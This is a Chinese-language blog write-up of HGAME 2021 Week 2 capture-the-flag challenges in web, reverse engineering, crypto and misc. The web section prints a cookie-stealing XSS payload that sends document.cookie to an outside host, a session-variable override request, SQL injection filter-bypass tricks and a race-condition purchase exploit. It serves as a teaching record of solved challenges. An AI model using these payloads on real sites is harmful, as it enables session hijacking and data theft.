Zry.IO

返回

web

LazyDogR4U [150]

只有一个登录页,一开始尝试常见的 .index.php.swp、index.php~ 等备份文件无果,最后用扫描工具才得到 www.zip

之后审计 php 源码,可知题目要求以管理员的身份登录,跳转至 /flag.php 可以查看 flag

// ...[OMITTED]...
if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }else{
// ...[OMITTED]...
php

可以发现引入的 “lazy.php” 存在变量覆盖漏洞

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}
// ...[OMITTED]...
php

所以目标是将 $_SESSION['username'] 的值覆盖为 “admin”

虽然进行了关键词过滤,但由于没有进行递归替换,“SESSSESSIONION” 就会变成 “SESSION”

直接请求 /flag.php?_SESSSESSIONION[username]=admin 即可得到 flag

Flag: hgame{R4u_15_4-l@zy~DOg}

Post to zuckonit [250]

普通的留言板 XSS 题,如果提交中含有 on* 关键词,结果就会被倒序,且 “on*” 会变成 “*on”(即再次倒序后会变成 “no*”,无法直接通过提交倒序的 payload 来利用)

经过尝试后发现在字符串开头加上 on* 关键词即可产生倒序的 “后续字符串 + no*” 的结果

构造 on* + 目标 payload 的倒序字符串即可产生正序的 payload + no*

由于 “http” 会被过滤,利用 HTML 的 “Protocol-relative URL” 特性不指定 URL 协议即可绕过

<!--> 目标 payload <-->
<img src=1 onerror=fetch('//[REDACTED]/?='+btoa(document.cookie))>

<!--> payload <-->
onerror>))eikooc.tnemucod(aotb+'=?/]DETCADER[//'(hctef=rorreno 1=crs gmi<
html

正确发布 payload 之后爆破出要求的 MD5 substring 验证码提交给后台 bot 即可打到 cookie

Flag: hgame{X5s_t0_GEt_@dm1n’s_cOokies.}

200OK!! [200]

请求头中的 “Status” 存在布尔型 SQL 盲注漏洞,如 Status: 3' and '1'='1'#

其中空格会被过滤,可以使用 “/**/” 等注释替换绕过;SELECT(select)、WHERE 等关键词会被过滤,可以使用 SeLeCt、WhErE、SELSELECTECT 等大小写混合或双写绕过

可以使用 sqlmap 简化盲注工作

Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

Liki 的生日礼物 [200]

注册新账号登录之后有 ¥2000 余额,每 ¥40 余额可以买 1 张兑换券,然而按要求兑换一台 switch 需要 52 张兑换券

测试发现不存在整数溢出漏洞,猜测有条件竞争漏洞

使用网上抄来的 python 脚本(ThreadPoolExecutor)发现无论如何只能买到 50 张,原因不明

用 golang 重写后就可以买到 60 张左右的兑换券了

其实用 BurpSuite 中的 intruder 功能就可以了

Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

reverse

ezApk [200]

简单的 Android APK 逆向,使用 JEB 等工具反编译后可以查看 Java 源码

ezApk-1

分析一下可知基本逻辑如下:

  1. 计算资源文件中的 key (0x7F0E002B) 字符串的 MD5,作为 IV
  2. 计算 key 的 SHA256,作为密钥
  3. 使用得到的 IV 和密钥,对输入的字符串进行 AES CBC 加密
  4. 将得到的密文进行 base64 编码,与资源文件中的 flag (0x7F0E0027) 字符串进行比较,检查是否一致

通过在线工具或如下脚本即可解密

Flag: hgame{jUst_A_3z4pp_write_in_k07l1n}

helloRe2 [250]

使用 IDA 反编译,可知需要输入两个密码并分别进行校验

输入 Password 1 后首先检查其字符串长度是否为 16,然后检查是否与 xmmword_4030F0 一致

helloRe2-1

之后会通过 IsDebuggerPresent() 来检查是否正被调试,如果不在被调试则对共享内存中的一些值进行异或,作为之后 AES 加密使用的 key

helloRe2-2

之后程序会新建一个进程,输入 Password 2 后首先检查其字符串长度是否为 16,然后使用共享内存中的 key 和 IV 对其进行 AES CBC 加密,检查结果(32 字节)的高 128 位(16 字节)是否与 xmmword_4030E0 一致

helloRe2-3

由于不太熟悉调试器的使用,使用 frida 直接插桩拦截 BCryptGenerateSymmetricKey 得到密钥,拦截 BCryptEncrypt 得到 IV

可见使用的 key 为 “0x32633260316030663b68383b6e3c3636”,IV 为 “0x000102030405060708090a0b0c0d0e0f”

使用在线工具或如下脚本即可解密出 xmmword_4030E0 的明文

from Crypto.Cipher import AES

enc = bytes.fromhex('7EF602D5625F4E3F65797607D9FEFEB7')[::-1]
key = bytes.fromhex('32633260316030663b68383b6e3c3636')
iv = bytes.fromhex('000102030405060708090a0b0c0d0e0f')
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(enc))
python

Flag: hgame{2b0c5e6a3a20b189_7a4ad6c5671fb313}

fake_debugger beta [150]

题目只给了一个 socket 连接地址,nc 连接后可以输入 flag 字符串并发送空格进行单步调试,可以打印出 EAX、EBX、ECX、ZF 四个寄存器的值

经过尝试可以发现 flag 长度需要大于 10,否则在第一步就提示 “Short flag!”

分别输入 “AAAAAAAAAAA”(‘A’*11)、“AAAAAAAAAAAA”(‘A’*12)、“BAAAAAAAAAA”(‘B’+‘A’*10) 进行调试,可以发现在每步调试中:

ECX 的值为当前字符在输入字符串中的位置

当 ZF = 0 时(奇数步),EAX 的值为字符的 ASCII 码与 EBX 的值异或的结果(如 ord(‘A’) ^ 23 = 86),EBX 的值与输入无关,即在每一步中总为固定的值(如第一步中为 23)

当 ZF = 1 时(偶数步),EAX 的值与之前相同,EBX 的值为另一个固定的值(如第二步中为 127);当 EAX = EBX 时可以到下一步,否则提示 “Wrong Flag! Try again!” 并退出

所以可以根据每个奇数步中 EBX 的值和下一步中 EBX 的值来算出正确的字符,ord(CHAR) = EBX ^ EBX'

Flag: hgame{You_Kn0w_debuGg3r}

crypto

signin [150]

题目中随机生成两个 1024 位质数 aapp,对明文 mm 计算出密文 c = a ** p * m % p,则

capm(modp)ap1am(modp)am(modp)c \equiv a^p \cdot m \pmod{p} \equiv a^{p-1} \cdot a \cdot m \pmod {p} \equiv a \cdot m \pmod {p}

所以 mca1(modp)m\equiv c \cdot a^{-1} \pmod p

可以在 python 中通过 m = pow(c, invmod(a, p), p) 求出 mm

Flag: hgame{M0du1@r_m4th+1s^th3~ba5is-Of=cRypt0!!}

gcd or more? [200]

根据密文的计算中指数为 2,可知不是普通的 RSA 而是其衍生的 Rabin 算法,可以通过如下脚本解出明文

Flag: hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}

WhitegiveRSA [150]

普通的 RSA,已知 N、e、c,在 factordb 找出 N 的因数 p 与 q,直接使用 ius/rsatoolGanapati/RsaCtfTool 计算即可

Flag: hgame{w0w~yOU_kNoW+R5@!}

The Password [250]

ThePassword

因为 z=xROT(x,a)ROT(x,b)z = x \oplus ROT(x, a) \oplus ROT(x, b) 是双射的,又因为 zi=yiniz_i = y_i \oplus n_i,所以可以由 ziz_i 求出 xix_i

通过如下程序即可求出每组数据的 xx,参考自此处 [存档]

之后使用 python 的 bytes.fromhex(f'{x_i:x}') 或 libnum 中的 n2s(x_i) 即可转为字符串,拼接即为 flag

Flag: hgame{l1ne0r_a1gebr0&is@1mpor10n1^1n$crypto}

misc

Tools [100]

隐写工具套娃题,每层有一个加密的 7z 压缩包和一个含隐写信息的 JPG 图片,其 EXIF 备注中有所用隐写工具的密码参数

解压题目压缩包后得到 F5.7z 和 Matryoshka.jpg,通过 java Extract Matryoshka.jpg -p '!LyJJ9bi&M7E72*JyD' 解出 7z 密码

解压后得到 Steghide.7z 和 01.jpg,通过 steghide.exe extract -p 'A7SL9nHRJXLh@$EbE8' -sf 01.jpg 解出 7z 密码

解压后得到 Outguess.7z 和 02.jpg,通过 outguess -k 'z0GFieYAee%gdf0%lF' -r 02.jpg output.txt 解出 7z 密码

解压后得到 JPHS.7z 和 03.jpg,通过 JPHSwin 工具解出 7z 密码

解压后得到 04.jpg

将 01 至 04.jpg 拼合成二维码,扫描得到 flag

Flag: hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

Telegraph:1601 6639 3459 3134 0892 [150]

MP3 音频隐写,查看频谱图可以看到提示 “850 Hz”,在 1:10 - 1:33 有一段摩斯电码的音频,分离出 830~880 Hz 即可清楚地看出长短,解码后即为 flag

Telegraph

Flag: hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}

Hallucigenia [200]

使用 Stegsolve 可以在 Red plane 0 看到隐写的二维码,扫描得到一个 base64 编码字符串

解码后可以看到末尾有 GNP\x89,结合题目描述 “我们不仅弄错了他的上下,还颠倒了它的左右。”,将解码后的字节倒序保存成 PNG 文件

打开后可以看到垂直镜像后的 flag

Flag: hgame{tenchi_souzou_dezain_bu}

DNS [100]

使用 Wireshark 审计数据包,在 No. 62 可以看到对 flag.hgame2021.cf 的 A 记录查询,访问 http://flag.hgame2021.cf 提示 “Flag is here but not here”

查询 TXT 记录,得到 flag

Flag: hgame{D0main_N4me_5ystem}

HGAME2021 - Week 2 writeup
https://zry.io/zh/ctf/hgame2021-week-2-writeup
作者 zry98
发布于 2021年2月9日